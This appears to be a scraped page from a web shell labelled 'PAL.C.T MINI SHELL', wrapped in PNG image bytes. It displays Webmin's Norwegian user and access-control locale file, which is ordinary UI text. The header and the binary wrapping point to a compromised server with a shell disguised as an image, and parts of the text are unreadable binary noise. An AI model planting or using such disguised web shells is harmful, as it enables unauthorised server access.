‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/no

index_title=Webmin Brukere
index_user=Brukere
index_modules=Moduler
index_create=Opprett ny Webmin bruker
index_screate=Opprett ny sikker bruker
index_convert=Konverter Unix til Webmin brukere
index_cert=Krever SSL sertifikat
index_twofactor=To-faktor autentisering
index_certmsg=Klikk pÄ denne knappen for Ä spÞrre etter et SSL sertifikat som vil gi deg sikker login i Webmin uten Ä mÄtte skrive brukernavn og passord.
index_return=bruker liste
index_none=Ingen
index_edit=Editer Modul ACL :
index_global=Global ACL
index_users=Webmin Brukere
index_groups=Webmin Grupper
index_group=Gruppe
index_nousers=Ingen editerbar Webmin bruker er definert.
index_nogroups=Ingen editerbar Webmin gruppe er definert.
index_gcreate=Lag en ny Webmin gruppe
index_members=Medlemmer
index_modgroups=Moduler fra gruppe $1
index_sync=Konfigurer Unix bruker synkronisering
index_unix=Konfigurer Unix bruker autentisering
index_sessions=Se login sessioner
index_rbac=Sett opp RBAC
index_delete=Slett valgte
index_joingroup=Legg til gruppe:
index_eulist=Kunne ikke liste brukere : $1
index_eglist=Kunne ikke liste grupper : $1

edit_title=Rediger Webmin Bruker
edit_title2=Lag Webmin Bruker
edit_title3=Opprett sikker Webmin bruker
edit_readonly=Denne Webmin brukeren bÞr ikke redigeres siden den vedlikeholdes av modulen $1. <a href='$2'>Klikk her</a> for Ä ignorere denne advarselen og redigere brukeren allikevel - men vÊr oppmerksom pÄ at manuelle endringer kan bli overskrevet!
edit_rights=Tilgangsrettigheter for Webmin bruker
edit_user=Brukernavn
edit_cloneof=Klober Webmin bruker
edit_real=Virkelig navn
edit_group=Medlem av gruppe
edit_pass=Passord
edit_same=Samme som Unix
edit_lock=Ingen passord er akseptert
edit_pam=PAM autentisering
edit_unix=Unix autentisering
edit_extauth=Eksternt autentiserings program
edit_dont=Ikke forandre
edit_set=Sett til
edit_passlocked=Passord har ikke blitt endret pÄ $1 dager - kontoen er lÄst!
edit_passmax=Passord har ikke blitt endret pÄ $1 dager - mÄ endres ved neste innlogging
edit_passold=Passordet ble sist endret for $1 dager siden
edit_passtoday=Passordet ble endret for mindre enn en dag siden
edit_modules=Moduler
edit_clone=Klone
edit_twofactor=To-faktor autentiseringstype
edit_twofactorprov=Bruker leverandĂžr %1 med ID %2
edit_twofactorcancel=Fjern krav om to-faktor autentisering
edit_twofactornone=Ingen satt opp enda
edit_twofactoradd=Aktiver to-faktor for bruker
edit_lang=SprÄk
edit_notabs=Kategoriser moduler?
edit_logout=Tid uten aktivitet fĂžr utlogging
edit_mins=minutter
edit_chars=bokstaver
edit_minsize=Minimum passordlengde
edit_nochange=Tving gjennom endrings-intervall for passord?
edit_cert=SSL sertifikat navn
edit_none=Ingen
edit_ips=IP tilgangs kontroll
edit_all=Tillat fra alle adresser
edit_allow=Tillat bare fra adresser i listen
edit_deny=Nekt fra adresser i listen
edit_ipdesc=IP tilgangskontroll av brukere fungerer pÄ samme mÄte som Global IP tilgangskontroll i Webmin konfigurasjon modulen. Denne kontrollen vil bare bli utfÞrt hvis brukeren "passerer" den globale kontrollen.
edit_skill=Kyndighets nivÄ
edit_risk=Risiko nivÄ
edit_risk_high=Super bruker
edit_risk_medium=Admin bruker
edit_risk_low=Normal bruker
edit_groupmods=(I tillegg til moduler fra gruppe)
edit_euser=Du har ikke lov til Ă„ editere denne brukeren
edit_egone=Valgt bruker finnes ikke lenger!
edit_ecreate=Du har ikke lov til Ă„ lage denne brukeren
edit_theme=Personlig theme
edit_themeglobal=Fra Webmin konfigurasjon
edit_themedef=Standard Webmin theme
edit_overlay=Personlige tema-overlegg
edit_overlayglobal=Ingen - bruk temaets standardverdier
edit_log=Se logger
edit_selall=Velg alle
edit_invert=Inverter valg
edit_hide=Skjul ubrukte
edit_switch=Bytt til bruker
edit_return=Webmin bruker
edit_return2=Webmin gruppe
edit_rbacdeny=RBAC tilgangsmodus
edit_rbacdeny0=RBAC kontrollerer valgte modul ACLer
edit_rbacdeny1=RBAC kontrollerer alle moduler og ACLer
edit_global=Tillatelser for alle moduler
edit_templock=Midlertidig lÄst
edit_temppass=Tving endring ved neste innlogging
edit_days=Tillatte ukedager
edit_alldays=Hver dag
edit_seldays=Bare valgte dager ..
edit_hours=Tillatte tidspunkt pÄ dagen
edit_allhours=NÄr som helst
edit_selhours=Fra $1:$2 til $3:$4
edit_ui=Innstillinger for brukergrensesnitt
edit_security=Innstillinger for sikkerhet og begrensinger
edit_mods=Tilgjengelige Webmin moduler
edit_modsg=Tilgjengelige Webmin moduler (i tillegg til de fra gruppen)
edit_proto=Lagringstype
edit_proto_mysql=MySQL database
edit_proto_postgresql=PostgreSQL database
edit_proto_ldap=LDAP tjener
edit_proto_=Lokale filer
edit_safe=RettighetsnivÄ
edit_safe0=Ubegrenset
edit_safe1=Kun sikre moduler
edit_unsafe=Tilbakestill til ubegrenset

save_err=Kan ikke lagre bruker
save_ename='$1' er ikke et gyldig brukernavn
save_eunixname=Brukernavnet '$1' er ikke en Unix bruker, og kan derfor ikke brukes i sikker modus.
save_enamewebmin=Brukernavnet 'webmin' er reservert for intern bruk
save_edup=Brukernavnet '$1' er allerede i bruk
save_eoverlay=Et tema-overlegg kan ikke velges med mindre et tema er
save_edeny=Du kan ikke nekte deg selv tilgang til Webmin Bruker modulen
save_eos=Det samme som Unix passord opsjonen er ikke stÞttet pÄ ditt operativsystem.
save_emd5=Det samme som Unix passord opsjonen kan ikke brukes pÄ systemer med MD5 kryptering
save_eunix=Unix bruker '$1' eksisterer ikke
save_emod=Du kan ikke bevilge tilgang til modul '$1'
save_ecreate=Du har ikke tilgang til Ă„ opprette brukere
save_euser=Du har ikke tilgang til Ă„ editere denne brukeren
save_ecolon=Passord kan ikke inneholde : karakteren
save_epass=Passord er ikke gyldig : $1
save_eself=Din vanlige IP adresse ($1) vil bli nektet
save_epam=PAM autentisering er ikke tilgjengelig fordi <tt>Authen::PAM</tt> Perl modulen ikke er installert eller ikke virker ordentlig.
save_epam2=Du kan bruke Webmin's Perl Modules modul til <a href='$1'>laste ned Ä installere Authen::PAM</a> nÄ.
save_egroup=Du har ikke rettigheter til Ă„ tildele til den gruppen
save_enone=Ingen adresse er tastet inn
save_enet='$1' er ikke en gyldig nettverks adresse
save_emask='$1' er ikke en gyldig nettmaske
save_eip='$1' er ikke en komplett IP eller nettverks adresse
save_ehost=Kunne ikke finne IP adresse for '$1'
save_elogouttime=Manglende eller ikke-numerisk tid for utlogging ved inaktivitet
save_eminsize=Manglende eller ikke-numerisk minimum passordlengde
save_edays=Ingen tillatte dager valgt
save_ehours=Manglende eller ugyldige tillatte tidspunkt
save_ehours2=Tillatt starttid mÄ komme fÞr sluttid
save_etemp=Innstillingen som tvinger gjennom passordendring ved neste innlogging kan ikke brukes med mindre <a href='$1'>beskjed til brukere om Ă„ angi nye passord</a> er aktivert

delete_err=Kunne ikke slette bruker
delete_eself=Du kan ikke slette deg selv
delete_ecannot=Du har ikke rettigheter til Ă„ slette brukere
delete_euser=Du har ikke rettigheter til Ă„ slette denne brukeren
delete_eanonuser=Denne brukeren brukes til anonym modul tilgang

cert_title=Be om sertifikat
cert_issue=Lever sertifikat
cert_header=Nye sertifikat detaljer
cert_msg=Dette feltet gir deg mulighet til Ä be om et SSL klient sertifikat som vil gi tilgang til Webmin istede for Ä bruke login og passord. Dette er mer sikkert, men fordi autentiseringen er automatisk kan du ikke skifte til en annen bruker nÄr du bruker sertifikat.
cert_ebrowser=Webmin vet ikke hvordan den skal utlevere klient sertifikat til din nettleser ( $1 )
cert_cn=Ditt navn
cert_email=Email adresse
cert_ou=Avdeling
cert_o=Organisasjon
cert_sp=Fylke (State)
cert_c=Lands kode (Country code)
cert_key=NĂžkkel stĂžrrelse
cert_done=Ditt sertifikat for $1 er blitt generert.
cert_pickup=<a href='$1'>Klikk her for Ă„ hente og installere sertifikatet i nettleseren</a>
cert_install=Installer sertifikatet ditt i nettleseren
cert_ekey=En ny SSL nĂžkkel ble ikke avgitt av din nettleser - kanskje den ikke stĂžtter SSL klient sertifikat.
cert_eca=Kunne ikke aktivere sertifikat autoritet : $1
cert_already=Advarsel - du bruker allerede sertifikat $1.
cert_etempdir=Ugyldig sertifikat-fil

acl_title=Modul Tilgangs kontroll
acl_title2=For $1 i $2
acl_title3=For gruppe $1 i $2
acl_options=$1 tilgangs kontroll alternativer
acl_config=Kan redigere modul konfigurasjon?
acl_reset=Tilbakestill til full tilgang
acl_rbac=Hent innstillinger for tilgangskontroll fra RBAC?
acl_rbacyes=Ja (overstyrer innstillinger nedenfor)

acl_uall=Alle brukere
acl_uthis=Denne bruker
acl_usel=Valgte ..
acl_gr=Medlemmer av $1
acl_users=Brukere som kan editeres
acl_mods=Kan gi tilgang til
acl_all=Alle moduler
acl_own=Bare egne moduler
acl_sel=Valgte moduler ..
acl_create=Kan lage nye brukere?
acl_delete=Kan slette brukere?
acl_rename=Kan endre navn pÄ brukere?
acl_acl=Kan redigere modul tilgangs kontroll?
acl_lang=Kan skifte sprÄk?
acl_chcert=Kan endre SSL sertifikat navn?
acl_euser=Du har ikke tilgang til Ă„ redigere ACL for denne brukeren
acl_egroup=Du har ikke tilgang til Ă„ redigere gruppe ACLs
acl_emod=Du har ikke tilgang til Ă„ redigere ACL for denne modulen
acl_others=Kan se utilgjengelige moduler?
acl_cert=Kan be om sertifikat?
acl_err=Kunne ikke lagre tilgangs kontroll
acl_groups=Kan redigere gruppe?
acl_gassign=Kan knytte brukere til grupper
acl_gall=Alle grupper
acl_gsel=Valgte ..
acl_gnone=Ingen
acl_perms=Nylig opprettet bruker fÄr
acl_perms_1=Samme modul tilgang som skaperen
acl_perms_0=Normal modul tilgangskontroll
acl_sync=Kan konfigurere bruker synkronisering?
acl_unix=Kan konfigurere Unix autentisering?
acl_sessions=Kan se pÄ og avslÄ login sesjoner?
acl_cats=Kan forandre kategorisering?
acl_theme=Kan forandre personlige theme?
acl_ips=Kan forandre IP tilgangs kontroll?
acl_switch=Kan bytte til andre brukere?
acl_times=Kan endre tillatte innloggings-tider?
acl_pass=Kan endre passord-begrensinger?
acl_sql=Kan konfigurere databasen for brukere og grupper?

log_modify=Modifisert Webmin bruker $1
log_rename=Skiftet navn pÄ Webmin bruker $1 til $2
log_create=Opprettet Webmin bruker $1
log_clone=Klonet Webmin bruker $1 til $2
log_delete=Slettet Webmin bruker $1
log_acl=Oppdatert tilgang for $1 i $2
log_reset=Tilbakestilte tilgang for $1 i $2
log_cert=Utlevert sertifikat for bruker $1
log_modify_g=Modifisert Webmin gruppe $1
log_rename_g=Forandret navn pÄ Webmin gruppe $1 til $2
log_create_g=Opprettet Webmin gruppe $1
log_delete_g=Slettet Webmin gruppe $1
log_switch=Byttet til Webmin bruker $1
log_delete_users=Slettet $1 Webmin brukere
log_delete_groups=Slettet $1 Webmin grupper
log_joingroup=La til $1 Webmin brukere i gruppe $2
log_pass=Endret passord-begrensinger
log_unix=Endret unix bruker-autentisering
log_sync=Endret unix bruker-synkronisering
log_sql=Endret bruker-og gruppe-database
log_twofactor=Meldte inn bruker $1 til to-faktor autentisering
log_onefactor=Meldte ut bruker $1 fra to-faktor autentisering

gedit_ecannot=Du har ikke tilgang til Ă„ editere grupper
gedit_title=Editer Webmin Gruppe
gedit_title2=Opprette Webmin Gruppe
gedit_group=Gruppe navn
gedit_rights=Webmin gruppe tilgangs rettigheter
gedit_modules=Medlemmers moduler
gedit_members=Medlemsbrukere og -grupper
gedit_desc=Gruppe beskrivelse
gedit_egone=Valgt gruppe finnes ikke lenger!

gdelete_err=Kunne ikke slette gruppe
gdelete_ecannot=Du har ikke tilgang til Ă„ slette gruppe
gdelete_euser=Du kan ikke slette din egen gruppe
gdelete_esub=Gruppe med undergruppe(r) kan ikke slettes
gdelete_title=Slette Gruppe
gdelete_desc=Er du sikker pÄ at du vil slette gruppen $1 og medlemmene brukere $2 ?
gdelete_ok=Slett Gruppe

gsave_err=Kunne ikke lagre gruppe
gsave_ename=Manglende eller ugyldig gruppe navn
gsave_enamewebmin=Gruppenavnet 'webmin' er reservert for intern bruk.
gsave_edup=Gruppenavn er allerede i bruk
gsave_edesc=Ugyldig beskrivelse - tegnet : er ikke tillatt

convert_title=Konverter Brukere
convert_ecannot=Du har ikke tilgang til Ă„ konvertere Unix brukere
convert_nogroups=Ingen Webmin gruppe er definert pÄ ditt system. Du mÄ i det minste lage en gruppe fÞr du konverterer brukere, dette for Ä kunne sette rettigheter for konverterte brukere.
convert_desc=Denne Dette feltet lar deg konvertere eksisterende Unix brukere til Webmin brukere. Rettighetene til hver nye Webmin bruker vil bestemmes av rettighetene til gruppen som valgt over.
convert_0=Alle brukere
convert_1=Bare brukere
convert_2=Alle unntagen brukere
convert_3=Brukere med grupper
convert_4=Brukere med brukerid (UID) i rekkefĂžlge
convert_group=Tilordne ny bruker til Webmin gruppe
convert_sync2=Synk. passord med Unix-bruker i fremtiden?
convert_ok=Konverter nÄ
convert_err=Kunne ikke konvertere brukere
convert_eusers=Ingen brukere inntastet
convert_egroup=Unix gruppe eksisterer ikke
convert_emin=Ugyldig minimum bruker ID (UID)
convert_emax=Ugyldig maksimum bruker ID (UID)
convert_ewgroup=Ingen sÄnn Webmin gruppe
convert_ewgroup2=Du har ikke rettigheter til Ă„ tilordne nye brukere til denne gruppen
convert_skip=Hoppet over $1
convert_exists=$1 Eksisterer allerede
convert_invalid=$1 er ikke et gyldig Webmin brukernavn
convert_added=$1 er lagt til
convert_msg=Konverterer Unix brukere...
convert_user=Unix-bruker
convert_action=Handling utfÞrt
convert_done=$1 brukere konvertert, $2 ugyldig, $3 finnes allerede, $4 ekskludert.
convert_users=Brukere som skal konverteres

sync_title=Unix Bruker Synkronisering
sync_desc=Dette feltet lar deg konfigurere automatisk synkronisering av Unix brukere laget via Webmin og brukere i denne modulen.
sync_nogroups=Ingen Webmin gruppe er definert pÄ ditt system. Du mÄ i det minste lage en gruppe fÞr du konverterer brukere, dette for Ä kunne sette rettigheter for konverterte brukere.
sync_when=Synkroniser nÄr
sync_create=Opprett Webmin bruker nÄr en Unix bruker blir laget.
sync_update=Oppdater passende Webmin bruker nÄr Unix brukere blir oppdatert.
sync_delete=Slett passende Webmin bruker nÄr Unix brukere blir slettet.
sync_group=Tilordne ny bruker til Webmin gruppe
sync_unix=Sett passord for nye brukere til Unix autentisering
sync_ecannot=Du har ikke rettigheter til Ă„ konfigurere bruker synkronisering.

unix_title=Unix Bruker Autentisering
unix_err=Kunne ikke lagre Unix autentisering
unix_desc=Denne siden lar deg konfigurere Webmin til verifisere login forsĂžk med systemets bruker liste og PAM. Dette kan vĂŠre nyttig hvis du har mange eksisterende Unix brukere som du Ăžnsker Ă„ gi tilgang til Webmin.
unix_def=Tillat bare login av Webmin brukere
unix_sel=Tillat Unix brukere i listen nedenfor Ă„ logge inn ..
unix_mode=Tillat
unix_mall=Alle brukere
unix_group=Medlemmer i gruppen..
unix_user=Tillat alle Unix brukere login med rettigheter som Users
unix_who=Bruker eller gruppe
unix_to=Som Webmin bruker
unix_ecannot=Du har ikke rettigheter til Ă„ konfigurere Unix bruker autentisering
unix_epam=Unix autentisering er ikke tilgjengelig fordi <tt>Authen::PAM</tt> Perl modul ikke er installert eller ikke virker som den skal.
unix_all=Tillat alle Unix brukere
unix_allow=Tillat bare listede Unix brukere
unix_deny=Nekt listede Unix brukere
unix_none=Ingen brukere angitt
unix_euser='$1' er ikke et gyldig brukernavn
unix_egroup='$1' er ikke et gyldig gruppenavn
unix_shells=Nekt Unix brukere hvis skall ikke finnes i filen
unix_eshells=Manglende eller ikke-eksisterende shells fil
unix_restrict2=Ekstra restriksjoner
unix_ewhogroup=Manglende tillatt gruppe i rad $1
unix_ewhouser=Manglende tilllatt bruker i rad $1
unix_enone=Ingen tillatte Unix brukere og grupper ble angitt
unix_same=&lt;Samme bruker eller gruppe&gt;
unix_sudo=TIllatt brukere som kan kjĂžre alle kommandoer via <tt>sudo</tt> Ă„ logge inn som <tt>root</tt>
unix_pamany=Behandle brukere som bare sender PAM validering som $1
unix_esudo=Kommandoen $1 er ikke tinstallert
unix_esudomod=Perl modulen $1 som er pÄkrevd for <tt>sudo</tt> autentisering, er ikke installert
unix_header=Unix-bruker autentiserings-innstillinger
unix_utable=Tillatte Unix brukere

sessions_title=Aktuell Login Session
sessions_id=Sessions ID
sessions_user=Webmin bruker
sessions_login=Innlogget
sessions_host=IP adresse
sessions_lview=Se logger..
sessions_actions=Handlinger..
sessions_logouts=Vis ogsÄ utloggede sesjoner..
sessions_state=Tilstand
sessions_this=Denne innloggingen
sessions_in=Innlogget
sessions_out=Logget ut
sessions_kill=Koble fra..

logins_title=Siste Webmin innlogginger

hide_title=Skjul ubrukte moduler
hide_desc=FÞlgende moduler vil bli fjernet fra modul tilgangslisten for $1 siden deres tilhÞrende tjenere ikke er installert pÄ systemet ditt ..
hide_ok=Skjul moduler nÄ
hide_none=Ingen ting Ä skjule - $1 har ikke tilgang til noen moduler hvis tilhÞrende tjenere ikke er installert pÄ systemet ditt.
hide_desc2=VÊr oppmerksom pÄ at disse modulene ikke vil dukke opp i listen igjen automatisk nÄr de tilhÞrende tjenerne installeres pÄ nytt. Du mÄ gi tilgang ti ldem manuelt vha. denne modulen.
hide_clone=(Klon $1)

switch_euser=Du har ikke lov til Ă„ bytte til denne brukeren
switch_eold=Eksisterende sesjon ikke funnet!

rbac_title=Sett opp RBAC
rbac_desc=Webmin's RBAC integration provides a way for user module and ACL permissions to be determined from an RBAC (Role Based Access Control) database, rather than Webmin's own configuration files. Once RBAC support is enabled, any user for whom the <b>RBAC controls all modules and ACLs</b> option is selected will have his capabilities determined by RBAC rather than Webmin's own access control settings.
rbac_esolaris=RBAC stÞttes bare pÄ Solaris systemer for Þyeblikket, og kan derfor ikke brukes pÄ dette $1 systemet.
rbac_eperl=Perl-modulen $1, som behÞves for RBAC integrasjon, er ikke installert. <a href='$2'>Klikk her</a> for Ä installere den nÄ.
rbac_ecpan=Du har ikke tilgang til Webmins Perl Moduler side for Ă„ kunne installere den nĂždvendige $1 modulen for RBAC integrasjon.
rbac_ok=RBAC integrasjon er tilgjengelig for dette systemet, og kan aktiveres per bruker pÄ siden Rediger Webmin bruker.

udeletes_err=Kunne ikke slette brukere
udeletes_jerr=Kunne ikke legg til brukere i gruppe
udeletes_enone=Ingen valgt
udeletes_title=Slett brukere
udeletes_rusure=Er du sikker pÄ at du Þnsker Ä slette de $1 valgte brukerne? Alle deres tilgangskontroll innstillinger og andre brukerdetaljer vil gÄ tapt.
udeletes_users=Valgte brukere: $1
udeletes_ok=Slett brukere
udeletes_ereadonly=En av de valgte brukerne er merket som ikke-redigerbar

gdeletes_err=Kunne ikke slette grupper
gdeletes_title=Slett grupper
gdeletes_rusure=Er du sikker pÄ at du Þnsker Ä slette de $1 valgte gruppene og de $2 brukerne de inneholder? Alle deres tilgangskontroll innstillinger og brukerdetaljer vil gÄ tapt.
gdeletes_users=Valgte grupper: $1
gdeletes_ok=Slett grupper

pass_title=Passord begrensinger
pass_ecannot=Du har ikke lov til Ă„ redigere passord-begrensinger
pass_header=Innstillinger for Webmin passord begrensinger
pass_minsize=Minimum passordlengde
pass_nominsize=Ikke noe minimum
pass_regexps=RegulÊre uttrykk som passord mÄ stemme overens med
pass_regdesc=Beskrivelse for regulĂŠrt uttrykk
pass_maxdays=Dager fÞr et passord mÄ endres
pass_lockdays=Dager fÞr uendret passord lÄser kontoen
pass_nomaxdays=Endring aldri pÄkrevd
pass_nolockdays=Kontoen blir aldri lÄst
pass_nouser=Ikke tillatt passord som inneholder brukernavn?
pass_nodict=Ikke tillat passord med ordliste-ord?
pass_oldblock=Antall gamle passord som skal avvises
pass_nooldblock=Ingen begrensing pÄ gjenbruk av passord
pass_days=dager
pass_pass=passord
pass_err=Kunne ikke lagre passord-begrensinger
pass_eminsize=Manglende eller ikke-numerisk minimum passordlengde
pass_emaxdays=Manglende eller ikke-numerisk antall dager fĂžr endring
pass_elockdays=Manglende eller ikke-numerisk antall dager fÞr konto lÄses
pass_eoldblock=Manglende eller ikke-numerisk antall gamle passord som skal avvises

cpass_minsize=MÄ vÊre minst pÄ $1 bokstaver
cpass_notre=Matcher et
cpass_re=Stemmer ikke med et pÄkrevd mÞnster
cpass_name=Inneholder brukernavnet
cpass_dict=Er et ordliste-ord
cpass_spellcmd=Ingen av kommandoene $1 eller $2, som er nĂždvendige for Ă„ sjekke ordiliste-ord, er installert
cpass_old=Gamle passord kan ikke brukes pÄ nytt

sql_title=Bruker- og gruppe-database
sql_ecannot=Du har ikke lov til Ă„ konfigurere bruker- og gruppedatabasen
sql_header=Instillinger for database backend for brukere og grupper
sql_host=Vertsnavn
sql_user=Brukernavn
sql_pass=Passord
sql_db=Database navn
sql_ssl=Kryptering av forbindelse
sql_ssl0=Ingen
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Objektklasse for brukere
sql_groupclass=Objektklasse for grupper
sql_euserclass=Manglende eller ugyldig objektklasse for brukere
sql_egroupclass=Manglende eller ugyldig objektklasse for grupper
sql_none=Bruk bare lokale filer til Ă„ lagre brukere og grupper
sql_mysql=Bruk MySQL database
sql_postgresql=Bruk PostgreSQL database
sql_ldap=Bruk LDAP tjener
sql_prefix=Opprett under DN
sql_addto0=Legg til nye brukere i databasen valgt ovenfor
sql_addto1=Legg til nye brukere i lokale filer
sql_emod=Manglende pÄkrevd Perl modul <tt>$1</tt>
sql_etable=Kunne ikke spÞrre pÄkrevd tabell $1 : $2
sql_eldapdn=Base LDAP DN $1 ble ikke funnet
sql_eclass=LDAP objektklasse $1 finnes ikke i tjenerens skjema
sql_err=Kunne ikke lagre innstillinger for bruker- og gruppedatabase
sql_ehost=Manglende elller ikke-oppslagbart vertsnavn
sql_euser=Manglende eller ugyldig brukernavn (mellomrom ikke tillatt)
sql_epass=Ugyldig passord (mellomrom ikke tillatt)
sql_edb=Ugyldig databasenavn (mellomrom ikke tillatt)
sql_eprefix=Manglende eller ugyldig base DN (mellomrom ikke tillatt)
sql_eprefix2=Ugyldig-utseende base DN - skal vÊre pÄ formen <tt>dc=mittdomene,dc=no</tt>
sql_title2=Opprett manglende tabeller
sql_tableerr=Instillinger for bruker- og gruppedatabase er gyldig, men noen tabeller som Webmin trenger, mangler : $1
sql_tableerr2=Klikk pÄ knappen <b>Opprett tabeller</b> nedenfor,  for Ä fÄ opprettet dem automatisk, eller du kan kjÞre SQL uttrykket nedenfor manuelt.
sql_make=Opprett tabeller
sql_title3=Opprett manglende DN
sql_dnerr=Innstillinger for bruker- og gruppedatabase er gyldige, men LDAP DN som kreves av Webmin, mangler : $1
sql_dnerr2=Klikk pÄ knappen <b>Opprett DN</b> nedenfor for Ä fÄ den opprettet automatisk, eller legg den til LDAP tjeneren din manuelt.
sql_makedn=Opprett DN
sql_schema=Last ned LDAP skjema

make_title=Opprett bruker- og gruppe-tabeller
make_err=Kunne ikke opprette bruker- og gruppe-tabeller
make_exec=UtfĂžrer SQL $1 ..
make_failed=.. oppretting feilet : $1
make_done=.. ferdig
make_still=Fant noen problemer selv etter tabell-oppretting : $1

makedn_title=Opprett LDAP DN
makedn_eoc=Fant ingen strukturelle objektklasser!
makedn_exec=Oppretter overordnet DN $1 ..
makedn_failed=.. oppretting feilet : $1
makedn_done=.. ferdig.
makedn_still=Fant noen problemer selv etter DN-oppretting : $1

schema_title=Last ned LDAP skjema
schema_desc=FÞr Webmin kan bruke en LDAP tjener for lagring av brukere og grupper mÄ den konfigureres til Ä bruke skjemaet nedenfor. Dette kan typeisk gjÞres ved Ä lagre skjemadefinisjonen i tt>/etc/ldap/schema</tt> eller <tt>/etc/openldap/schema</tt> som <tt>webmin.schema</tt>, og sÄ konfigurere tjeneren ti lÄ laste den skjemafilen.
schema_download=Last ned skjema-fil : <a href=$1>$1</a>

twofactor_err=Kunne ikke sette opp to-faktor autentisering
twofactor_euser=Din Webmin-bruker ble ikke funnet!
twofactor_title=To-faktor autentisering
twofactor_disable=Deaktiver to-faktor autentisering
twofactor_already=Din Webmin-bruker har allerede to-faktor autentisering aktivert med leverandĂžr %1 og konto ID %2.
twofactor_already2=Webmin-brukeren %3 har allerede to-faktor autentisering aktivert med leverandĂžr %1 og konto ID %2.
twofactor_desc=Denne siden lar deg aktivere to-faktor autentisering for din Webmin bruker vha. <a href='$2' target=_blank>$1</a>. NÄr denne er aktivert kreves det et ekstra autentiserings-token nÄr du logger inn pÄ Webmin.
twofactor_desc2=Denne siden lar deg aktivere to-faktor autentisering for Webmin-brukeren $1 vha. <a href='$2' target=_blank>$1</a>. NÄr denne er aktivert vil det kreves et ekstra autentiserings-token for Ä logge inn pÄ Webmin.
twofactor_enable=Meld inn til to-faktor autentisering
twofactor_header=Detaljer for innmelding til to-faktor autentisering
twofactor_enrolling=Melder inn til to-faktor autentisering med leverandĂžr $1 ..
twofactor_failed=.. innmeklding feilet : $1
twofactor_done=.. fullfĂžrt. Din ID hos denne leverandĂžren er <tt>$1</tt>.
twofactor_setup=To-faktor autentisering er ikke aktivert pÄ dette systemet enda, men kan aktiveres i <a href='$1'>Webmin konfigurasjonen</a>.
twofactor_ebutton=Ingen knapp klikket!
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚